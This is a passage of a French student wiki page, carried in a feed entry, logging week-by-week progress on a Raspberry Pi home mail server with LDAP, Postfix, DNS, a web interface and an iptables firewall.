		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P9_Syst%C3%A8me_d%27h%C3%A9bergement_domestique&amp;diff=25966</id>
		<title>P9 Système d'hébergement domestique</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P9_Syst%C3%A8me_d%27h%C3%A9bergement_domestique&amp;diff=25966"/>
				<updated>2016-02-02T15:09:54Z</updated>
		
		<summary type="html">&lt;p&gt;Tteneur : /* Semaine 18 (01/02/2016) */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Contexte====&lt;br /&gt;
&lt;br /&gt;
Les gens font confiance à des organismes comme google pour gérer leurs courriels, voire pour les protéger. Il n'est pas évident que leur confiance soit bien placée. Ce projet doit permettre à tout utilisateur de créer quelques comptes de messagerie sur une système embarqué de type raspberry et permettre de conserver les données à la maison.&lt;br /&gt;
&lt;br /&gt;
Le système doit être constitué à base de standards (base LDAP, serveur de messagerie connu et maintenu, client de messagerie idem). L'interface d'administration doit être elle aussi très simple d'utilisation. &lt;br /&gt;
&lt;br /&gt;
Un effort particulier doit être porté sur l'alimentation du système embarqué. L'idéal serait un mode de veille lorsqu'aucun paquet TCP/IP n'est adressé à la machine. Il est aussi demandé de mettre au point une alimentation à base d'énergie renouvelable (e.g. panneau solaire) permettant d'alimenter totalement ou partiellement le système. Enfin pour permettre de se passer de la box grande consommatrice d'énergie, le système embarqué doit pouvoir en reprendre les fonctionnalités principale (connexion avec le DSLAM, redirection des ports UDP/TCP, ...).&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
&lt;br /&gt;
L'objectif est de réaliser un système embarqué avec une alimentation autonome pour héberger une messagerie électronique domestique. Par domestique, il faut comprendre pour une dizaine de boites aux lettres. En outre, le système devra pouvoir être alimenté par un panneau solaire ou, le cas échéant, prendre relai sur le secteur lorsque l'alimentation fournie par le soleil n'est plus suffisante.&lt;br /&gt;
&lt;br /&gt;
====Description du projet====&lt;br /&gt;
====Choix techniques : matériel et logiciel====&lt;br /&gt;
Matériel obtenu à ce jour :&lt;br /&gt;
* 1 Raspberry Pi 2 [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenue le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Carte µSD 8 GB [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenue le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Cable USB/µUSB [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenu le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Câble RJ45 [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenu le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
&lt;br /&gt;
==Suivi de l'avancement du Projet==&lt;br /&gt;
===Semaine 1 (21/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Notre but étant la réalisation d'une messagerie électronique domestique capable de gérer une dizaine de boites aux lettres, nous nous orientons dans un premier temps sur les points suivants que nous allons éclaircir afin d'en tirer un cahier des charges.&lt;br /&gt;
&lt;br /&gt;
Nous allons étudier et approfondir les points suivants : &lt;br /&gt;
&lt;br /&gt;
* Installer une base LDAP, ou avoir plutôt avoir plusieurs comptes UNIX&lt;br /&gt;
* Installer un serveur de messagerie SMTP, et IMAP/POP&lt;br /&gt;
* Investiguer du côté de POSTFIX&lt;br /&gt;
* Étudier la taille d'un mail vide, et en moyenne, et voir combien ça fait par rapport au système&lt;br /&gt;
* Enquêter sur la forme des fichiers utilisateurs (généraliser les données)&lt;br /&gt;
&lt;br /&gt;
Ce qui doit pouvoir être fait :&lt;br /&gt;
* Distinction administrateur / utilisateur&lt;br /&gt;
* Un administrateur doit pouvoir gérer les comptes de messagerie (addition/suppression/etc)&lt;br /&gt;
* Gestion des quotas/espace disque réservé par ex&lt;br /&gt;
* Choix du quota (par qui ? options ?)&lt;br /&gt;
* SECURISER : apache, mod_security, étudier l'utilisation d'un pare-feu logiciel ?&lt;br /&gt;
&lt;br /&gt;
Prévision du Matériel :&lt;br /&gt;
* Raspberry Pi 2&lt;br /&gt;
* Alimentation RPi&lt;br /&gt;
* Carte SD (8Go)&lt;br /&gt;
&lt;br /&gt;
Le module énergétique sera équipé des éléments suivants :&lt;br /&gt;
* 1 MPPT&lt;br /&gt;
* Convertisseur Numérique Analogique : MAX5250&lt;br /&gt;
* Potentiomètre : MCP4261&lt;br /&gt;
* Relai : R561D.56 NTE&lt;br /&gt;
* Résistances : Deux de 100Ω et deux de 10kΩ&lt;br /&gt;
* une LED&lt;br /&gt;
* 40 pins broches mâle/mâle (Digikey Parts : A26509-40-ND), découpé par la suite en 8-8-6-4 &lt;br /&gt;
* Circuit d'alimentation autonome : cellule photovoltaique &lt;br /&gt;
* Circuit d'alimentation autonome : batterie (avec port micro-USB et port USB)&lt;br /&gt;
&lt;br /&gt;
===Semaine 2 (28/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps l'idée est de développer le système principal avec les fonctionnalités. Autrement dit les différents packages et fonctionnalités installées sur la raspberry ainsi que l'interface utilisateur sur le site web. Dans cette partie nous listerons les différentes fonctionnalités que nous aimerions implémenter.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Serveur SMTP (communications entre serveurs mails SMPT) et serveur IMAP/POP3 (postier)&lt;br /&gt;
*Postfix pour SMTP&lt;br /&gt;
*Dovecot, Courier ou Cyrus pour IMAP/POP3&lt;br /&gt;
*Implémentation de protocoles plus complexes et offrant notamment des fonctionnalités de chiffrement (SMTPS / ESMTP / SSL / HTTPS / Certificat)&lt;br /&gt;
*LMTP &lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Gestion particulière des gros mails et notamment de leurs pièces jointes&lt;br /&gt;
*Bigfile pour un stockage en ligne&lt;br /&gt;
*Décodage base 64 des pièces jointes ? (difficulté++)&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Gestion des utilisateurs&lt;br /&gt;
*Plusieurs comptes, en utilisant LDAP&lt;br /&gt;
*La possibilité de s'identifier en tant qu'administrateur&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Listes de diffusion&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Comptes mail temporaires (10 minutes mail like)&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Antivirus &amp;amp; Spam&lt;br /&gt;
*ClamAV ou SpamAssassin ou autres : lourd. &lt;br /&gt;
*iptables dans un premier temps.&lt;br /&gt;
*Antispam maison, gestion du contenu, marquage de spam par l'utilisateur, &amp;quot;boites intelligentes&amp;quot; de spams.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Les noms de domaines sont peut être nécessaires dès le départ pour tester le fonctionnement des fonctionnalités (telnet qui dit nope ?)&lt;br /&gt;
*Record A&lt;br /&gt;
*Record MX&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Sauvegarde automatique périodique de la Raspberry Pi (pendant le développement, pour éviter de perdre les données)&lt;br /&gt;
&lt;br /&gt;
Il faudra aussi prêter attention aux fonctionnalités disponibles sur l'interface et ne pas laisser des fonctionnalités fantômes issues d'un template générique que l'on a pu trouver sur l'Internet.&lt;br /&gt;
&lt;br /&gt;
===Semaine 3 (05/10/2015)===&lt;br /&gt;
Nous avons précisé les éléments constituants l'interface web :&lt;br /&gt;
* Gestion des comptes (création, modification, suppression d'utilisateurs...)&lt;br /&gt;
* Gestion des listes de diffusions&lt;br /&gt;
* Gestion des quotas&lt;br /&gt;
* Affichage du courrier&lt;br /&gt;
* Gestion de l'antivirus&lt;br /&gt;
&lt;br /&gt;
===Semaine 4 (12/10/2015)===&lt;br /&gt;
Nous avons mis en place un github pour suivre le développement : [https://github.com/biboon/pfe GitHub].&lt;br /&gt;
&lt;br /&gt;
Nous commençons à visualiser la structure de notre serveur mail. Dans un premier temps nous constituons notre base de données. Finalement nous utiliserons bien LDAP, qui semble relativement simple à utiliser contrairement à notre première impression.&lt;br /&gt;
&lt;br /&gt;
Nous avons utilisé [https://wiki.gandi.net/fr/hosting/using-linux/tutorials/debian/mail-server-ldap un tutoriel de Gandi] pour mettre en place la base de notre annuaire. Nous utiliserons les schemas disponibles dans le paquet courier-ldap. Nous avons écrit un script en perl permettant d'installer ce schema facilement, nous évitant d'avoir à réinstaller le paquet complet pour récupérer un unique fichier.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Il est important maintenant de changer les règles d'accès à la base de données. En effet la base de données est disponible pour n'importe qui, on peut y entrer avec la commande :&lt;br /&gt;
 ldapsearch -c -h localhost -b dc=domain,dc=tld -x&lt;br /&gt;
Nous avons ici aussi écrit un script permettant de le faire automatiquement. A ce stade il est nécessaire de s'identifier en tant qu'administrateur pour voir l'arbre :&lt;br /&gt;
 ldapsearch -c -h localhost -b dc=domain,dc=tld -D &amp;quot;cn=admin, dc=domain,dc=tld&amp;quot; -W&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On peut dorénavant développer la structure de notre directory. Nous avons choisi de reprendre la base du tutoriel de Gandi et d'ajouter une entité mail qui regroupera tout les utilisateurs du serveur mail. Nous avons donc écrit un fichier &amp;lt;code&amp;gt;.ldif&amp;lt;/code&amp;gt; décrivant cette structure et l'avons ajoutée avec la commande :&lt;br /&gt;
 ldapadd -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -h localhost -f ldif/mail_tree.ldif&lt;br /&gt;
On peut vérifier que la structure a bien été ajoutée à notre arbre avec la commande :&lt;br /&gt;
 ldapsearch -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -h localhost -b &amp;quot;dc=domain,dc=tld&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut ajouter nos utilisateurs à la base de données. Ici il est d'autant plus intéressant d'automatiser cette manipulation. Le principe est d'écrire un fichier &amp;lt;code&amp;gt;.ldif&amp;lt;/code&amp;gt; et de l'ajouter de la même manière que précedemment avec &amp;lt;code&amp;gt;ldapadd&amp;lt;/code&amp;gt;. Nous nous sommes inspirés ici encore du tutoriel de Gandi tout en l'adaptant. Le script perl &amp;lt;code&amp;gt;add_user.pl&amp;lt;/code&amp;gt; simplifie grandement l'ajout d'un utilisateur. On pourra par la suite le modifier pour l'utiliser directement avec du code php.&lt;br /&gt;
On peut vérifier que l'utilisateur a bien été ajouté avec la commande habituelle &amp;lt;code&amp;gt;ldapsearch&amp;lt;/code&amp;gt; et même tester l'identification avec :&lt;br /&gt;
 ldapwhoami -vvv -h localhost -D &amp;quot;cn=username,dc=mail,dc=domain,dc=tld&amp;quot; -x -W&lt;br /&gt;
Si la commande renvoie &amp;lt;code&amp;gt;Result: Success (0)&amp;lt;/code&amp;gt; alors l'identification a fonctionné.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
La commande &amp;lt;code&amp;gt;ldapsearch&amp;lt;/code&amp;gt; permet aussi de filtrer les recherches dans la base. Par exemple, avec notre configuration on peut afficher les utilisateurs avec la commande :&lt;br /&gt;
 ldapsearch -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -b &amp;quot;dc=mail,dc=domain,dc=tld&amp;quot; &amp;quot;(&amp;amp;(objectClass=CourierMailAccount))&amp;quot;&lt;br /&gt;
On peut aussi indiquer quels champs à afficher en les indiquant à la fin de cette commande.&lt;br /&gt;
&lt;br /&gt;
===Semaine 5 (19/10/2015)===&lt;br /&gt;
==== DNS et SSL ====&lt;br /&gt;
Nous avons obtenu un nom de domaine auprès de Gandi pour notre projet. Le site est accessible à l'adresse : [https://intimail.pw intimail.pw]&lt;br /&gt;
&lt;br /&gt;
nous avons configuré un serveur DNS et la certification SSL sur notre raspberry pi. Pour la démarche je vous renvoie à notre [http://projets-ima.plil.net/mediawiki/index.php?title=PRA2015_-_Configuration_des_commutateurs#Semaine_4 wiki] de TP de Protocoles Réseaux Avancés. La méthode est identique.&lt;br /&gt;
&lt;br /&gt;
De la même manière que dans le TP de PRA, nous voulions implémenter DNSSEC. Cependant arrivé à la dernière étape, nous nous sommes rendu compte que Gandi ne propose pas cette fonctionnalité pour les .pw. Dans l'éventualité où les DNSSEC seraient implémentés au cours de notre projet, nous pourrons activer cette fonctionnalité rapidement.&lt;br /&gt;
&lt;br /&gt;
La différence réside dans le fait que pour un serveur mail il faut un enregistrement de type MX. Dans le fichier de configuration des enregistrements de bind, nous avons ajouté les lignes :&lt;br /&gt;
 @       IN      MX      10 mail.intimail.pw.&lt;br /&gt;
 mail    IN      A       193.48.57.171&lt;br /&gt;
&lt;br /&gt;
De plus, un serveur mail doit pouvoir faire les résolutions inverses. En effet certains serveurs mail sont configurés pour rejeter ou retarder la livraison de mails provenant de serveurs dont la résolution inverse n'est pas effectuée. L'enregistrement PTR devient alors :&lt;br /&gt;
 171     IN      PTR     mail.intimail.pw.&lt;br /&gt;
&lt;br /&gt;
A ce stade, le serveur DNS devrait être correctement configuré et le SSL fonctionnel.&lt;br /&gt;
&lt;br /&gt;
==== LDAP ====&lt;br /&gt;
Pour notre annuaire LDAP, nous avons utilisé les schémas proposés dans le package courier-ldap. Ces fichiers particuliers permettent à ldap de structurer sa base de données. Après différents essais et discussion, nous avons retenu la structure suivante :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-ldap_directory.PNG|600px|thumb|center|LDAP directory structure]]&lt;br /&gt;
&lt;br /&gt;
Nous avons regroupé la totalité de nos entrées sous une entité commune mail, celle ci se divisant ensuite en deux groupes people et groups. Le dc people regroupe les informations des utilisateurs, que l'on détaillera plus tard. Le dc groups permettra quant à lui regroupera les différentes listes de diffusion. Il contient aussi le groupe particulier des administrateurs qui permettra de donner des droits privilégiés à certains utilisateurs.&lt;br /&gt;
&lt;br /&gt;
Pour ce qui est des informations des utilisateurs, voici un exemple de fichier de configuration pour l'utilisateur Jean Valjean : &lt;br /&gt;
 dn: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw&lt;br /&gt;
 uid: jvaljean&lt;br /&gt;
 mail: jvaljean@intimail.pw&lt;br /&gt;
 sn: Valjean&lt;br /&gt;
 givenName: Jean&lt;br /&gt;
 displayName: Jean Valjean&lt;br /&gt;
 mailbox: intimail.pw/jvaljean/&lt;br /&gt;
 homeDirectory: /home/vmail/&lt;br /&gt;
 objectClass: top&lt;br /&gt;
 objectClass: inetOrgPerson&lt;br /&gt;
 objectClass: CourierMailAccount&lt;br /&gt;
 userPassword: {SSHA}gCbVPaSGUaqjrq0mTQY77sOH4Xcq59Fg&lt;br /&gt;
&lt;br /&gt;
Ces différentes informations ne sont pas définitives : certains champs peuvent peut être être retirés (comme le champ homeDirectory qui pour l'instant est commun et identique à tout les utilisateurs).&lt;br /&gt;
&lt;br /&gt;
==== Web ====&lt;br /&gt;
&lt;br /&gt;
Nous avons cherché un template léger, simple, mais néanmoins fonctionnel et agréable pour notre interface web. L'idée est, plutôt que de prendre un webmail classique dont nous n'utiliserions que 25 à 50% des capacités, de réaliser un webmail qui répond à toutes les exigences du cahier des charges et implémentant uniquement le nécessaire. &lt;br /&gt;
Il s'est avéré après recherches que l'une des meilleures solutions était de partir sur une interface codée en PHP (ce dernier implémente une API dédiée à LDAP), agrémentée de Bootstrap pour le JS/CSS.&lt;br /&gt;
Notre choix s'est finalement porté sur le template Lumino, que l'on peut [http://medialoot.com/preview/frame/lumino.html essayer par ici].&lt;br /&gt;
&lt;br /&gt;
Après divers test, il s'avère qu'une page de cette interface met en moyenne pour charger totalement :&lt;br /&gt;
* 2,10s sur une connexion mobile 3G moyenne (4MB/s)&lt;br /&gt;
* 1,90s sur une  connexion 4G moyenne (15MB/s)&lt;br /&gt;
* 2,80s sur une connexion DSL moyenne (2MB/s)&lt;br /&gt;
* 1,90s sur une connexion Wifi (30MB/s)&lt;br /&gt;
* 1,70s sur une connexion THD (100MB/s)&lt;br /&gt;
Résultats qui semble apporter bon compris poids/qualité de l'interface.&lt;br /&gt;
&lt;br /&gt;
Nous avons alors déployé cette interface, dans un dossier /var/www/webmail/, puis ajouté le VirtualHost correspondant à notre site dans la configuration apache&lt;br /&gt;
 Config à venir, quelqu'un a éteint tutur06, notre raspberry est donc off :(&lt;br /&gt;
&lt;br /&gt;
===Semaine 6 (26/10/2015)===&lt;br /&gt;
==== Firewall ====&lt;br /&gt;
Etant donné que nous avons subi plusieurs tentatives de connexion SSH frauduleuses sur notre serveur, nous avons décidé de mettre en place un semblant de sécurité sur ce dernier. Nous avons donc écrit un petit script iptables simples pour filtrer les entrées. Celui ci se contente de bloquer tout les paquets entrant et de laisser passer les paquets par les ports ou nous avions vraiment besoin (ici SSH, HTTP, HTTPS, DNS, NTP, SMTP, POP3 et IMAP).&lt;br /&gt;
Après discussion, nous avons resserré davantage nos règles. Désormais le SSH n'est autorisé que pour des adresses ip spécifiées dans un fichier de liste blanche.&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi repéré dans le fichier /var/loh/auth.log plusieurs tentatives de connexions. Dans un premier temps nous avions cru à un problème de configuration de notre structure. Après avoir vérifié dans le log /var/log/syslog nous nous sommes aperçu qu'il s'agissait de connexions depuis des ip extérieures qui nous sont inconnues. Etant donné le nombre d'essais nous pensons que c'était une tentative d'intrusion sur le serveur SMTP par bruteforce. Comme première approche de contre-mesure nous avons pris le parti de constituer une liste noire. En effet ici nous n'avons pas le choix de laisser le port 25 (SMTP) ouvert. Pour cela nous avons utilisé les commandes :&lt;br /&gt;
 cat /vat/log/syslog | grep SASL\ LOGIN\ authentication\ failed                           # Pour lister les messages de connexion échouées&lt;br /&gt;
 sed -ne 's/.*\[\([0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\)\].*/\1/p'      # Pour n'afficher que les ip&lt;br /&gt;
 *file* | sort | uniq                                                                     # Pour classer et éliminer les doublons&lt;br /&gt;
&lt;br /&gt;
On peut ensuite vérifier que les ip listées sont bien inconnues. Nous avons ainsi constitué une liste noire de 23 adresses ip.&lt;br /&gt;
&lt;br /&gt;
==== Postfix ====&lt;br /&gt;
Nous avons installé l'agent de transfert de mail Postfix (&amp;lt;code&amp;gt;apt-get install postfix postfix-ldap&amp;lt;/code&amp;gt;) sur la raspberry et configuré celui ci en accord avec notre base de données LDAP. Après un test d'envoi via telnet :&lt;br /&gt;
 telnet ex 25&lt;br /&gt;
 Trying xxx.xxx.xxx.xxx...&lt;br /&gt;
 Connected to intimail.pw.&lt;br /&gt;
 Escape character is '^]'.&lt;br /&gt;
 220 mail.intimail.pw&lt;br /&gt;
 ehlo intimail.pw&lt;br /&gt;
 250-mail.intimail.pw&lt;br /&gt;
 250-PIPELINING&lt;br /&gt;
 250-SIZE 10240000&lt;br /&gt;
 250-VRFY&lt;br /&gt;
 250-ETRN&lt;br /&gt;
 250-ENHANCEDSTATUSCODES&lt;br /&gt;
 250-8BITMIME&lt;br /&gt;
 250 DSN&lt;br /&gt;
 MAIL FROM:toto(arobase)titi.com&lt;br /&gt;
 250 2.1.0 Ok&lt;br /&gt;
 RCPT TO:jvaljean(arobase)intimail.pw&lt;br /&gt;
 250 2.1.5 Ok&lt;br /&gt;
 DATA&lt;br /&gt;
 354 End data with &amp;lt;CR&amp;gt;&amp;lt;LF&amp;gt;.&amp;lt;CR&amp;gt;&amp;lt;LF&amp;gt;&lt;br /&gt;
 Subject: Premier Test&lt;br /&gt;
 Here is my test&lt;br /&gt;
 .&lt;br /&gt;
 250 2.0.0 Ok: queued as 0EDFC21428&lt;br /&gt;
 quit&lt;br /&gt;
 221 2.0.0 Bye&lt;br /&gt;
 Connection closed by foreign host.&lt;br /&gt;
&lt;br /&gt;
Il est maintenant intéressant de tester notre DNS avec un outil en ligne. Nous avons ici utilisé l'excellent [http://www.dnsstuff.com dnsstuff] pour cela. C'est grâce à ce dernier que nous avons pu corriger les erreurs de notre serveur mail, à savoir :&lt;br /&gt;
*SMTP Greeting : Il permet de faire en sorte que le serveur mail est reconnu par les autres serveurs. Cela évite que certains serveurs ne refusent les mails provenant d'intimail.pw.&lt;br /&gt;
*Acceptance of abuse/postmaster : Les serveurs mails doivent avoir deux adresses abuse@... et postmaster@... . Nous avons donc créé ces deux boîtes mail pour répondre à ces conditions&lt;br /&gt;
&lt;br /&gt;
==== Cyrus SASL ====&lt;br /&gt;
&lt;br /&gt;
Nous avons implémenté l'authentification sur le serveur SMTP en SASL avec Cyrus. Après configuration, on peut maintenant envoyer des mail depuis notre serveur sur un serveur extérieur tel que gmail. &lt;br /&gt;
&lt;br /&gt;
==== LDAP ====&lt;br /&gt;
&lt;br /&gt;
Nous avons créé quelques utilisateurs LDAP pour peupler notre répertoire, contenant diverses informations utiles, afin de pouvoir commencer à implémenter une API d'authentification et réaliser divers essais sur l'interface web. Nous avons aussi ajouté un champ quota dans les informations des utilisateurs. A première vue ce champ pourra être utilisé avec le serveur IMAP et POP3. Cependant, afin d'éviter d'installer des services supplémentaires, nous choisissons de nous orienter dans une autre direction. Postfix nous permet à l'heure actuelle d'envoyer et recevoir des mails avec nos utilisateurs virtuels, et stocke chaque mail dans un fichier sur le système. L'interface web peut donc, sans Dovecot ou serveurs IMAP/POP3, parser par elle-même les mails reçus et préparer un envoi. Il nous faut, en prenant cette voie, réfléchir à l'implémentation des quotas, non gérés par PostFix. L'idée serait de lancer un script quand Postfix reçoit un mail, avant de le stocker sur le système, et de vérifier que la taille de ce mail + de ceux déjà reçu/envoyés par avant ne dépasse pas le quota attribué à un utilisateur, et rejeter le mail à l'expéditeur si on va dépasser alors le quota.&lt;br /&gt;
&lt;br /&gt;
==== Web ====&lt;br /&gt;
&lt;br /&gt;
Nous avons modifié le template de site web en accord avec nos objectifs. L'utilisateur doit d'abord se connecter avec ses identifiants LDAP (uid et mot de passe correspondant à son unique Distinguished Name (DN: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw). Une fois connecté, il tombe sur une interface que l'on pourrait appeler une &amp;quot;vue globale&amp;quot;, réunissant les informations principales : le nombre de nouveaux mails, l'utilisation actuelle de son quota sur le disque, les quelques derniers mails reçus, et un calendrier afin de se repérer simplement niveau date.&lt;br /&gt;
Sur le côté, il est possible d'aller voir plus en détail l'inbox où se trouvent tous les mails reçus, ou encore aller voir les messages envoyés, et supprimer les courriels dans la poubelle. Si l'utilisateur est administrateur, il a aussi accès à un onglet &amp;quot;Manage&amp;quot; d'où il pourra prendre fonction de ses pleins pouvoirs. Cette dernière fonctionnalité n'étant pas encore implémentée, tout utilisateur voit pour l'instant cet onglet.&lt;br /&gt;
&lt;br /&gt;
Toute la journée du mardi le code web a été réaménagé et modulé. Nous réfléchissons désormais au stockage et à la récupération de l'état instantané du quota mail (stocker cette valeur dans un fichier, ou en fait un attribut supplémentaire d'un utilisateur LDAP, où est d'ailleurs déjà stocké son quota max). L'idée est de ne pas trop solliciter le système et d'incrémenter ou décrémenter une variable à chaque réception/envoi de mail plutôt que recalculer entièrement la taille du dossier où sont les mails. On pourra en outre envisager de mettre en place une tâche périodique (via CRON) qui vérifiera en heures creuses que la taille du dossier mail est bien égale au quota en variable dans le système.&lt;br /&gt;
&lt;br /&gt;
Par la suite il a été convenu de supprimer Apache et de le remplacer par le serveur web Lighttpd, plus léger et plus performant. Pour la configuration, on rajoute simplement un hôte au fichier /etc/lighttpd/lighttpd.conf auquel on fournit notamment le chemin d'accès aux fichiers du site, ou encore les clés pour SSL. Nous avons alors réinstallé PHP et nous l'avons reconfiguré et activé pour Lighttpd. Enfin, l'activation du mod_rewrite et la mise en place de règles différentes de celles d'Apache (qui font la même chose mais à la sauce Lighttpd) nous permettent de conclure cette migration en environ 25-30min (!).&lt;br /&gt;
Le mod_rewrite, un peu gadget nous l'avouons, permet chez nous de résoudre une URL de type www.domaine.com/page.php en écrivant simplement www.domaine.com/page. On atteint donc la page de connexion de notre webmail par [https://www.intimail.pw/login https://www.intimail.pw/login].&lt;br /&gt;
Nous avons en outre pu préciser la suite de notre projet. L'idée est d'avoir 2 ports sur lequel Postfix écoute (disons *:25 et localhost:10025). A réception d'un email sur *:25, postfix est configuré pour lancer un script que nous réalisons. Ce script vérifie le quota de l'utilisateur, si le mail reçu ne le dépasse pas il transfère alors le mail à localhost:10025 qui l'accepte et écrit le mail sur le disque de manière normale. Sinon, il renvoie un code d'erreur et le mail n'est pas accepté. De plus, le script mettra à jour un index dans un fichier propre à chaque utilisateur que le webmail lira. En somme, l'utilisation de fichiers quota et index évite à l'interface web de vérifier entièrement les dossiers et sous-dossiers mail à chaque actualisation de la page, ce qui créerait une charge énorme pour la Pi. On s'abstient en plus d'installer Dotecove/Un serveur IMAP/Un serveur POP grâce à notre webmail et nos scripts qui gèrent tout et uniquement ce dont nous avons besoin.&lt;br /&gt;
Notre architecture s'oriente donc sur les schémas suivants :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-classicmail.PNG|600px|thumb|center|A classical mail server infrastructure]]&lt;br /&gt;
[[Fichier:Pfe1516_09-ourmail.PNG|600px|thumb|center|Our light mail server infrastructure]]&lt;br /&gt;
&lt;br /&gt;
==== Scripting ====&lt;br /&gt;
&lt;br /&gt;
Nous avons écrit un script perl pour envoyer des mails de manière automatique. Précisons que nous avons dû installer &amp;lt;code&amp;gt;libswitch-perl&amp;lt;/code&amp;gt; pour pouvoir l'utiliser. Ce package devra être ajouté dans les dépendances lors de la constitution du fichier d'installation de notre outil.&lt;br /&gt;
&lt;br /&gt;
===Semaine 7 (02/11/2015) - Architecture du système de fichiers ===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-archi.PNG|600px|thumb|center|File system architecture]]&lt;br /&gt;
&lt;br /&gt;
Notre système s'articule autour de 2 chemins distincts. A droite en rouge, l'architecture classique par défaut de postfix. Les mails reçus sont enregistrés par défaut dans un dossier par utilisateur et par domaine, dans le dossier new. A gauche notre architecture greffée, dans un sous dossier différent, par utilisateur et par domaine. Dans ces sous-dossiers, on distingue alors 2 dossiers et 1 fichier. &lt;br /&gt;
* Le fichier contient la valeur actuelle du quota de l'utilisateur. On préfère cette méthode plutôt que de faire calculer l'espace disque disponible dans un dossier par le système à chaque fois. On fera tourner un script, de nuit, périodiquement, pour vérifier que le quota correspond bel et bien à la valeur dans le fichier, pour éviter d'incrémenter/décrémenter une erreur. &lt;br /&gt;
* Un dossier mail, dans lequel sont stockés les mails envoyés&lt;br /&gt;
* Un dossier json, dans lequel sont stockés les conteneurs json, qui contiennent les en-têtes des mails envoyés, reçus, spams et poubelles. On accède donc à toutes les infos utiles au webmail en lisant ces json, plutôt que de lire à chaque fois tous les mails, ce qui serait extrêmement lourd et lent.&lt;br /&gt;
&lt;br /&gt;
===Semaine 8 (09/11/2015) - Postfix et filtrage===&lt;br /&gt;
Nous avons établi une première version de notre script de traitement des mails arrivant sur le serveur. Nous nous sommes inspirés pour cela de la configuration proposée dans le [http://www.postfix.org/FILTER_README.html manuel] de Postfix. La configuration se fait via le fichier &amp;lt;code&amp;gt;master.cf&amp;lt;/code&amp;gt;. Ce fichier permet de configurer tout les processus utilisés par Postfix pour fonctionner. Dans notre cas, il nous permet de déclarer un service de filtrage et d'indiquer au démon qui récupère les mails entrants (smtpd) de les transférer à ce service via un programme pipe. La configuration se fait de la manière suivante :&lt;br /&gt;
&lt;br /&gt;
 # ==========================================================================&lt;br /&gt;
 # service type  private unpriv  chroot  wakeup  maxproc command + args&lt;br /&gt;
 #               (yes)   (yes)   (yes)   (never) (100)&lt;br /&gt;
 # ==========================================================================&lt;br /&gt;
 smtp       inet  n       -       -       -       -       smtpd&lt;br /&gt;
   -o content_filter=filter&lt;br /&gt;
 filter     unix  -       n       n       -       5       pipe&lt;br /&gt;
   flags=Rq user=vmail null_sender=&lt;br /&gt;
   argv=/path/to/script $queue_id $size $sender $recipient&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons décidé de suivre la même structure que dans le manuel de Postfix. C'est à dire que postfix fait appel à un script de filtrage principal, qui va lui même faire appel à d'autres scripts répondant à des besoins plus spécifiques. Pour l'instant, le script va parser certaines informations des mails entrant dans des fichier .json, qui servent de base de données. En voici un exemple :&lt;br /&gt;
 [&lt;br /&gt;
  {&lt;br /&gt;
    &amp;quot;from&amp;quot;: &amp;quot;michel.drucker@gmail.com&amp;quot;,&lt;br /&gt;
    &amp;quot;subject&amp;quot;: &amp;quot;Vivement dimanche&amp;quot;,&lt;br /&gt;
    &amp;quot;timestamp&amp;quot;: &amp;quot;2015-11-8 19:59:53&amp;quot;,&lt;br /&gt;
    &amp;quot;unixtimestamp&amp;quot;: &amp;quot;1447012793&amp;quot;,&lt;br /&gt;
    &amp;quot;queueid&amp;quot;: &amp;quot;48FE03FA87&amp;quot;,&lt;br /&gt;
    &amp;quot;filepath&amp;quot;: &amp;quot;???&amp;quot;,&lt;br /&gt;
    &amp;quot;size&amp;quot;: &amp;quot;1676&amp;quot;,&lt;br /&gt;
    &amp;quot;status&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;pj&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;id&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;to&amp;quot;: &amp;quot;jbond@intimail.pw&amp;quot;&lt;br /&gt;
  }&lt;br /&gt;
 ]&lt;br /&gt;
